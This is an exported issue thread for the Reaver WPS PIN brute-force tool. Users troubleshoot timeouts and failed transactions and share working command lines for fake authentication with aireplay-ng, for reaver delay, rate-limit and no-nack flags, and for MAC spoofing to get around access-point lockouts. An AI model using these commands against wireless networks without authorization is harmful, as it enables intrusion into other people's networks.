Constant receive timeout (0x03), or WPS transaction fail (0x02) with rtl8187

[GoogleCodeExporter]

0. What version of Reaver are you using?  (Only defects against the latest 
version will be considered.)

Revision 112 from svn.  Problem has occurred with all previous builds tried.

1. What operating system are you using (Linux is the only supported OS)?

Both BT5 R1 (kernel 2.6.39.4) and Ubuntu 11.04 (kernel 2.6.38-13).

2. Is your wireless card in monitor mode (yes/no)?  Yes.  Injection is working, 
and aireplay-ng --test verifies test AP is in range.

3. What is the signal strength of the Access Point you are trying to crack?

Range tried varies between -40 and -65.

5. What is the entire command line string you are supplying to reaver?

Tried:

reaver -i mon0 -vv -b <mac>
reaver -i mon0 -vv -b <mac> -a
reaver -i mon0 -vv -b <mac> --no-nacks
reaver -i mon0 -vv -b <mac> -d 5
reaver -i mon0 -vv -b <mac> --no-nacks -d 5

For the output and pcap provided, the command line was:

reaver -i mon0 -vv -b <mac> -a

6. Please describe what you think the issue is.

I have no idea.  If it were a rtl8187 driver issue, I believe google would have 
turned up better results.

7. Paste the output from Reaver below.

Log and pcap available: http://alf.script-x.org/~ryan/reaverpcap.tar.gz

snippet:

[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x04), re-trying last pin
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] 0.08% complete @ 2012-01-26 01:00:17 (0 seconds/pin)
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 77775672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[!] WARNING: 10 failed connections in a row

Original issue reported on code.google.com by ryanjna...@gmail.com on 26 Jan 2012 at 6:06

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

Try running Reaver with the --no-nacks argument.

Original comment by cheff...@tacnetsol.com on 26 Jan 2012 at 3:12

[GoogleCodeExporter]

Thanks cheffner.  I left reaver running overnight with the --no-nacks argument, 
and I do appear to be making progress.  Pin attempts are incrementing, and I 
see the xmit of M2, M4 and M6 messages, as well as the receipt of M1, M3 and 
M5, where previously I had only seen timeouts.  I do however also see many 
failures to associate.  I'm at around 91% now, and will wait for the process to 
complete before following up with an additional output or pcap dump.  Anything 
else to be considered?

Original comment by ryanjna...@gmail.com on 26 Jan 2012 at 3:22

[GoogleCodeExporter]

Given your output that you posted, it looks like the AP is having trouble 
seeing your packets. This won't stop the attack, but will obviously slow it 
down (although it sounds like you've already cracked the first half of the pin, 
which is 90% of the battle!).

Even with a good signal this can sometimes be an issue depending on the quality 
of the AP's receiver and any local interference. Really the best you can do is 
try to get closer or boost your signal with a directional antenna.

Original comment by cheff...@tacnetsol.com on 26 Jan 2012 at 4:08

[GoogleCodeExporter]

I'll look further into tx.

My last run did finish with a successful PIN, but no PSK was returned.  
Regardless, this is progress, and I will continue to work on range and the 
--no-nacks argument.  Thank you!

Original comment by ryanjna...@gmail.com on 26 Jan 2012 at 7:27

[GoogleCodeExporter]

Hmmm...are you sure the target AP is using WPA encryption?

Original comment by cheff...@tacnetsol.com on 26 Jan 2012 at 8:29

[GoogleCodeExporter]

BSSID                  Channel       RSSI       WPS Version       WPS Locked    
    ESSID
--------------------------------------------------------------------------------
-------------------------------
xx:xx:xx:xx:F3:D6       5            -56        1.0               No            
    blablabla

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 xx:xx:xx:xx:F3:D6  -66        2        2    0   5  54e  WPA2 CCMP   PSK  blablabla

Original comment by ryanjna...@gmail.com on 26 Jan 2012 at 9:41

[GoogleCodeExporter]

Hi

I am also experiencing this problem.

I have used Reaver quite a bit recently without any serious problems so I would 
say I am familiar with it.

Today was my first real trouble and it seems to be the same as this post.

root@bt:~# reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>
[+] Waiting for beacon from 00:50:3F:A5:EC:70
[+] Switching mon0 to channel 6
[+] Associated with 00:50:3F:A5:EC:70 (ESSID: ab)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred

I have tried various commands such as...

reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv
reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv -a
reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv --no-nacks
reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv --dh-small
reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv -d 0
reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv -d 1
reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv -d 2
reaver -i mon0 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv -d 5
reaver -i mon0 -c 6 -b 00:50:3F:A5:EC:70 --mac 62:29:d9:80:e4:e7 -vv

None of which work.  The AP is a Draytek.

Wash shows that the my AP has WPS enabled and it is not locked out.  I have a 
signal strength of between -58 and -63.  I can usually get a very good transfer 
rate with this card on a signal strength as weak as -79 so -58 is a good clear 
signal.

I am using an Alfa AWUS036NH  I have no problem associating with the AP, it 
happens almost instantly.

I am using BT5.1 with the latest drivers and Reaver 1.4

Thank you and I hope you can help.

Original comment by keyfo...@veryrealemail.com on 26 Jan 2012 at 11:14

[GoogleCodeExporter]

I'm running reaver 1.4 on BT5-r1 with an rtl8187L chipset (same as AWUS036H).
I experienced the same problem, I have:
[!] WPS transaction failed (code: 0x02), re-trying last pin
...some retries
[!] WPS transaction failed (code: 0x03), re-trying last pin
..some retries
[!] WPS transaction failed (code: 0x04), re-trying last pin
...some retries
then:
[!] WARNING: 10 failed connections in a row

but after waiting a while the attack resumes automatically without problems.

The only question is, what does code 0x02, 0x03 and 0x04 means?
Just to understand what is really happening.

Original comment by mzz....@gmail.com on 1 Feb 2012 at 6:02

[GoogleCodeExporter]

#wps transaction failed (code: 0x02), re-trying last pin
#wps transaction failed (code: 0x03), re-trying last pin

I've experienced the same issues using an Alfa rtl8187. I've found the solution 
to the problem is to play with the "-d" flag.

Start at "-d 15" or higher until you stop receiving the (code: 0x02) (code: 
0x03) errors. Then work your way down. Each router I've tested likes a 
different value. 

I was also using the "--no-nacks" argument.

Original comment by cryptom...@gmail.com on 4 Feb 2012 at 6:08

[GoogleCodeExporter]

I have same issues & playing with flags including "--no-nacks" "-d 15" even "-d 
30" "-w" but no matter what eventually a hard reset of the router is needed and 
I can continue with the attack... Same Alfa rtl8187 AP is a Netgear WNR1000. If 
you found a resolution for this issue please keep us posted! Thanks !

Original comment by SuperSeo...@gmail.com on 9 Feb 2012 at 2:29

[GoogleCodeExporter]

I'm using ALfa rtl8187. reaver 1.4

found this way to make it work

1. run: aireplay-ng mon0 -1 120 -a 68:7F:74:E2:4A:1C -e kitty-Home
2. then: reaver -i mon0 -A -b 68:7F:74:E2:4A:1C -c 6 -vv --no-nacks --win7

hope this help ;)

Original comment by itmanvn on 12 Feb 2012 at 2:45

[GoogleCodeExporter]

I am using Alfa rtl 8187 , reaver 1.4
I can confirm that it works with the above commands with AP ranges between -69 
-75, a bit slow but it works.

Original comment by robizh...@gmail.com on 15 Feb 2012 at 6:23

[GoogleCodeExporter]

[+] Trying pin 12345670
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred

has anyone solved how to fix this?

Original comment by tdjur...@gmail.com on 16 Feb 2012 at 10:50

[GoogleCodeExporter]

Do a wash -i monYOUR and see if the adapter didnt go (null). This happened to 
me on a dlink AP and 2 weeks after its still (null). Must have re-seted it or 
something, but wash shows it up as (null) instead of no as it was in the 
beginning. Try another AP and see what you get. If its not (null) try the -d 
function, start with 15 and if you still get timeouts, put it higher. I've had 
good results with the -d function (delay) if still u dont get anyting, reboot, 
reset, and try again. This sometimes works for me in native BT5r1 release hd 
install.

Original comment by fractalu...@gmail.com on 16 Feb 2012 at 11:08

[GoogleCodeExporter]

tried wash already, and now i tried -d 15 and nope :P gonna try some more secs, 
and see what happend, but im not expecting it to work... got any more ideas? 
thanks for this one 2 m8 :P

Original comment by tdjur...@gmail.com on 16 Feb 2012 at 11:37

[GoogleCodeExporter]

btw do u know how to grab theese r95-s and so on? plox? dunno what to do with 
em ? :P

Original comment by tdjur...@gmail.com on 16 Feb 2012 at 11:37

[GoogleCodeExporter]

I've had success with reaver-wps delaysof 15+, while performing fake
authentications via aireplay-ng.   Some APs are more picky than others.
Try aireplay with 1300-6000 intervals, keep alives (-q) at 10.

Haven't seen any changes to svn... is this project dead?

Original comment by ryanjna...@gmail.com on 17 Feb 2012 at 12:10

[GoogleCodeExporter]

I have also had this problem. the solution is nothing more than simple hard 
restart of the modem itself.

Before Restart:
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 00535670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 00535670
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin

After Restart: using reaver -i mon0 -b bsside -c 1 -d 5 -vv
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 00005678

Original comment by ablackhi...@gmail.com on 7 Mar 2012 at 1:36

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

Hi guys, i have been facing this problem as well, however i saw something that 
might be interesting.

1) I associate to the AP using airodump 
     aireplay-ng mon0 -1 120 -a 00:30:4F:XX:XX:XX -e XXXXXX -q1

2)   After it was successful i tried the reaver attack
  reaver -i mon0 -A -b 00:30:4F:XX:XX:XX - c 6 -d 10 -vv --no-nacks --win7

What is shown in the airodump-ng is that every time i am trying a WPS PIN with 
reaver, the router immediately disassociates A)  and reaver gets a time out and 
tries the same pin. B)

A) ----airodump----
02:31:59  Sending Authentication Request (Open System)
02:31:59  Authentication successful
02:31:59  Sending Association Request
02:31:59  Association successful :-) (AID: 1)

02:32:02  Got a disassociation packet! (Waiting 3 seconds)

02:32:02  Sending Authentication Request (Open System)
02:32:02  Authentication successful
02:32:02  Sending Association Request
02:32:02  Association successful :-) (AID: 1)

02:32:16  Got a disassociation packet! (Waiting 3 seconds)

02:32:16  Sending Authentication Request (Open System)
02:32:16  Authentication successful
02:32:16  Sending Association Request
02:32:16  Association successful :-) (AID: 1)

B) ----reaver-----
[+] Trying pin 12349999
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 12349999
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[!] WARNING: Receive timeout occurred

So it looks that the Router might be in lock down mode or it has some kind of 
mechanism that  blacklisting my  Wifi card.  Im changing the MAC now and will 
try when the Lock down is down (probably about 5 minutes).

You might want to try to see if it happens the same.

Original comment by toro.car...@gmail.com on 18 Apr 2012 at 6:57

[GoogleCodeExporter]

This is what I'm getting: [!] WPS transaction failed (code: 0x03), re-trying 
last pin

Signal strenght: -87 (too weak from what I'm reading in this issue) "Really the 
best you can do is try to get closer or boost your signal with a directional 
antenna."

Full log: http://pokazywarka.pl/lo5kbn/  (118 seconds/pin) What is the average 
rate should receive?

Original comment by mstefa...@gmail.com on 5 Jun 2012 at 1:07

[GoogleCodeExporter]

[-] Operating System : BackTrack 5 R2 (GNOME/32)

[-] Wifi Hardware : NETSYS 990WG ( Chipset : 8187L )

[-] Reaver Version 1.4

If i let the reaver continue it will crack it? or something wrong ?
& why am not getting the M5/M7 ??

I try before another card Ralink RT2870/3070 (rt2800usb) same results as i get 
with the Realtek chipset (i buy another wifi adapter as i read that RTL8187L is 
supported)

so whats wrong? & how to fix my problem?

Best Regards.

root@bt:~# airmon-ng 

Interface   Chipset     Driver

wlan2       Realtek RTL8187L    rtl8187 - [phy3]
mon0        Realtek RTL8187L    rtl8187 - [phy3]

root@bt:~# airodump-ng mon0 --channel 1

 CH  1 ][ Elapsed: 4 s ][ 2012-08-12 21:49                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                

 00:26:5A:44:EC:66  -54   0       12        0    0   1  54e. WPA2 CCMP   PSK  centbilal                            

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                          

 00:26:5A:44:EC:66  14:74:11:93:07:5A   -1    1e- 0      0        1                                                 

root@bt:~# wash -i mon0 

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

BSSID                  Channel       RSSI       WPS Version       WPS Locked    
    ESSID
--------------------------------------------------------------------------------
-------------------------------
00:26:5A:44:EC:66       1            -51        1.0               No            
    centbilal

root@bt:~# aireplay-ng mon0 -1 120 -a 00:26:5A:44:EC:66 -e centbilal
No source MAC (-h) specified. Using the device MAC (00:25:22:31:16:FC)
21:55:51  Waiting for beacon frame (BSSID: 00:26:5A:44:EC:66) on channel 1

21:55:51  Sending Authentication Request (Open System) [ACK]
21:55:51  Authentication successful
21:55:51  Sending Association Request [ACK]
21:55:51  Association successful :-) (AID: 1)

21:56:06  Sending keep-alive packet [ACK]
21:56:21  Sending keep-alive packet [ACK]
21:56:36  Sending keep-alive packet [ACK]
21:56:51  Sending keep-alive packet [ACK]
21:57:06  Sending keep-alive packet [ACK]
21:57:21  Sending keep-alive packet [ACK]^C

root@bt:~# reaver -i mon0 -A -b 00:26:5A:44:EC:66 -c 1 -vv --no-nacks --win7 

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 
<cheffner@tacnetsol.com>

[+] Switching mon0 to channel 1
[+] Waiting for beacon from 00:26:5A:44:EC:66
[+] Associated with 00:26:5A:44:EC:66 (ESSID: centbilal)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 01235678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 11115670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 22225672
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] 0.05% complete @ 2012-08-12 21:56:47 (7 seconds/pin)
[+] Trying pin 33335674
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 44445676
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 44445676
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] Trying pin 55555678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 55555678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[+] 0.07% complete @ 2012-08-12 21:57:22 (9 seconds/pin)
^C
[+] Session saved.

Original comment by ddue...@gmail.com on 12 Aug 2012 at 7:51

[GoogleCodeExporter]

All,

I have experienced the same/similar issue.  I was unable to get passed 0.00% 
complete on  3 different routers that I tried.  At first I thought this was due 
to my 2800usb driver for my Alfa card (some forums claimed), however this was 
not the case in my tests.  I feel that routers have gotten more aware of WPS 
exploits and will literally deny your pin transaction immediately due to rapid 
attempts.  This is what worked for me in Reaver

 reaver -i mon0 -b xx:xx:xx:xx:xx:xx -S -N -L -d 1 -r 5:3 -vv  

-d was used for seconds delayed in-between each attempt and -r 5:3 was after 5 
attempts wait 3 seconds.  This will need to be adjusted to whatever the router 
can handle.  I found that through out 1 session, I had to adjust these delays 3 
different times.  You will know it needs to be adjusted when you get 
several/back-to-back failed attempts.  Please provide feedback if this helped 
anyone!

AWUS036NH was the adapter being used 

Original comment by graysonm...@gmail.com on 18 Jan 2013 at 10:21

[GoogleCodeExporter]

when i get these i run this and it seems to fix it for a bit:

airmon-ng stop wlan0

airmon-ng mon0

reaver -imonX -vv -a -b<mac> -x180 -L -n --nack

these errors still pop up but mostly when im seeing signal drop from the AP.

Original comment by rick.ki...@gmail.com on 7 Apr 2013 at 6:04

[GoogleCodeExporter]

Hello all.
And thank you for your answers .. but i have a question it is why am NOT 
getting the M5,M7 ... the signal of the router im trying to crack is 70-75 is 
it Normal or what? im running reaver all night and yet it still 12% ... my 
speed is (20 seconds/pin) ? and one more question that i have been thinking of 
it all night .. ?? if i get the full progress of reaver .. i mean the 100% ? 
then i will crack the password 100% ?? or i might not crack it .. ???

Thank you :) 

Original comment by hamzahan...@gmail.com on 29 May 2013 at 5:05

[GoogleCodeExporter]

Thanks for all the info in here. I have made progress!

I am having the same issues posted here. I hope someone can get some progress 
with what i have found.

I have tried several AP's and i get locked out after about 4 pin attempts. 
After about 5 minutes it will let me try once or twice more. Then im locked out 
again.

I have found another AP that dose not lock me out but i still get the 0x03 
error along with WARNING: Revived timeout occurred every couple pin attempts.

EDIT: i fixed "WARNING: Revived timeout occurred" by using -vv -d 5 BUT i still 
have the 0x03 error every few pin attempts.

what i gather from reading forms is that the 0x03 error is from being farther 
away from the target AP that desired. 

so i assume there are older AP's that wont lock you out. 
Is there a way around the lock out feature on the new AP's? Possibly spoofing a 
MAC of an already connected device on the AP?

any help would be appreciated. Im new here. :)

Thanks in advance!

Original comment by kbarnes...@hotmail.com on 9 Jul 2013 at 8:43

[GoogleCodeExporter]

Hello All,

This is my first post.  I have had trouble getting Reaver 1.4 BT5r to work as 
well.  Was getting all sorts of time outs and failed transactions.  I am not at 
my own computer therefore I cannot post a screen dump of the Reaver output at 
this time.  I tried the basic argument and got terrible results.  Would try 
same pin over & over.  After searching forums I began trying the options 
provided with Reaver.  I used aireplay-ng to associate and ran airodump-ng and 
wash in the background. Used rt2870 with 2800usb driver against Netgear AP.

 arguments:

reaver -i mon0 -c [ap channel] -A -b [bssid] -vv -N -w -t 5 -L -x -d 0 -r 5:3 -S

aireplay-ng mon0 -1 120 -a [bssid] -e [essid] -q 5

I varied the -t, -d, -r values throughout the run with little change in speed.
On the sixth day I woke up & checked the progress and to my surprise there it 
was!!  The PIN and the passphrase and they worked!! 

Hope this helps someone...  If anyone has any tips how to cut some time off the 
six days, please post!!

Trickrock

Original comment by bjmyer...@gmail.com on 23 Jul 2013 at 4:02

[GoogleCodeExporter]

hey guys plz help this my problem : 
http://i163.photobucket.com/albums/t295/Med-El/Sf_zpsb114a7bd.png

Original comment by backn...@gmail.com on 2 Mar 2014 at 2:47

[GoogleCodeExporter]

i have this same problem... and all the time i thinking abut that but
nothing working yet, if u in the future rapair that tell me

2014-03-02 15:47 GMT+01:00 <reaver-wps@googlecode.com>:

Original comment by nowy...@gmail.com on 2 Mar 2014 at 3:36

[GoogleCodeExporter]

And u find something for this problem?

W dniu niedziela, 2 marca 2014 Dominik N. <nowyjol@gmail.com> napisa�(a):

Original comment by nowy...@gmail.com on 6 Mar 2014 at 2:02

[GoogleCodeExporter]

oh i am work it

Original comment by cih.c...@gmail.com on 10 Mar 2014 at 10:20

[GoogleCodeExporter]

[deleted comment]

[GoogleCodeExporter]

I FOUND THE PROBLEM!!! = Distance!!! Basicly reaver tries the same code over 
and over because it did not receive back the signal that says the code didnt 
work so that it can try a new one that's basicly it( and of course after u did 
command - airmon-ng check kill)when i try using a reaver on a AP thats directly 
in my bros bedroom it works(appx 7 meters away) So now im looking for a 
stronger wifi adapter

Nothing is a 100% sure in this world try what i did to resolve it for me i hope 
this helps!

Original comment by daviddad...@gmail.com on 5 Jun 2014 at 12:25

[GoogleCodeExporter]

It work thanks

Original comment by borkoma...@gmail.com on 18 Jun 2014 at 2:57

[GoogleCodeExporter]

Hi every1...please help me
When i use command wash -i mon0...it will not showing any output...
What should i do
I m using kali linux...

Original comment by ramandee...@gmail.com on 6 Jul 2014 at 5:54

[GoogleCodeExporter]

What did u run before wash?
whats your airmon-ng command?
and try airmon-ng mon0 -C 

Original comment by volatili...@gmail.com on 25 Jul 2014 at 8:09

[GoogleCodeExporter]

Ok...I have literally tried everything and I think I am close.  I finally have 
it tuned enough to hit 6% without issue...and then all hell breaks loose.  All 
I get is warning: failed to associate with <mac> <essid>.  Im at mon4 by now 
with the airmon-ng, I have reassociated over and over and have adjusted 
argument a billion times over.  Why will it associate in aireplay and then fail 
to associate for 6 hours or more straight?

Original comment by ryankina...@gmail.com on 5 Aug 2014 at 10:57

[GoogleCodeExporter]

[+] Waiting for beacon from 1C:1D:67:D2:4D:35
[+] Switching mon0 to channel 1
[+] Associated with 1C:1D:67:D2:4D:35 (ESSID: Vodafone 3G Router)
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x03), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message

owusu1197@gmail.com

Original comment by owusu1...@gmail.com on 30 Nov 2014 at 4:56

[GoogleCodeExporter]

i had the same issue and solved it with a directional antenna and the 
--no-nacks command, if the pwr is > 55 it speeds up the process and deletes the 
errors 

Original comment by karlhein...@gmail.com on 15 Dec 2014 at 3:57

[GoogleCodeExporter]

I have noticed that when I got this problem, the error shows after reaver 
reaches 90%. Before 90% it works fine. I couldn't find solution.

Original comment by marka....@gmail.com on 24 May 2015 at 6:50

[GoogleCodeExporter]

I tried 
1. run: aireplay-ng mon0 -1 120 -a 68:7F:74:E2:4A:1C -e kitty-Home
2. then: reaver -i mon0 -A -b 68:7F:74:E2:4A:1C -c 6 -vv --no-nacks --win7

and resolved the problem 
thnx to itmanvn

Original comment by ademar.q...@gmail.com on 5 Jun 2015 at 12:06

[GoogleCodeExporter]

Reaver has ALWAYS had notorious time outs even when associated, strong signal 
etc etc etc,,,,,,it is a bug the programmers have never honestly admitted to 
nor been able to resolve. Even to date 8-11-15 it is something the reaver 
people avoid and always blame on something else. Not to say they did not do 
great work on the project because they indeed did do great. I have been reading 
posts since its release and about 50/50 is the success rate. There has been no 
common issue with it, there have been thousands of suggestions for flags and 
settings but when it comes down to it if it works for you, you are the lucky 
half. There are some things that even programmers never actually figure out and 
it being free they have absolutely no obligation to resolve it. That being 
said; one can usually after hundreds f hours playing with find his own methods 
which generally never work for the next fellow. The little programming I had in 
college clearly places me to say this. It is far from perfect, not at all 
stable and not fully revised to a well known working program. But being it is a 
project more than anything else, you all have no reason to complain but do what 
you have been doing and seek out others advice and cross your fingers. I will 
say this however, can you imagine buying a simple dongle that has as many 
issues as Reaver does? Of course not and the reason being is someone is 
actually getting paid to do it right the first time. Besides now that AP rate 
limiting is becoming quite prevalent,,, and even some catching on and 
completely shutting down WPS or not offering it in modems/routers,,, I think it 
fair to call reaver yesterdays breakthrough but tomorrows failures. As with 
everything there comes an end but I say look forward to another breakthrough 
because as with ANYTHING, if man makes it, it can be hacked eventually

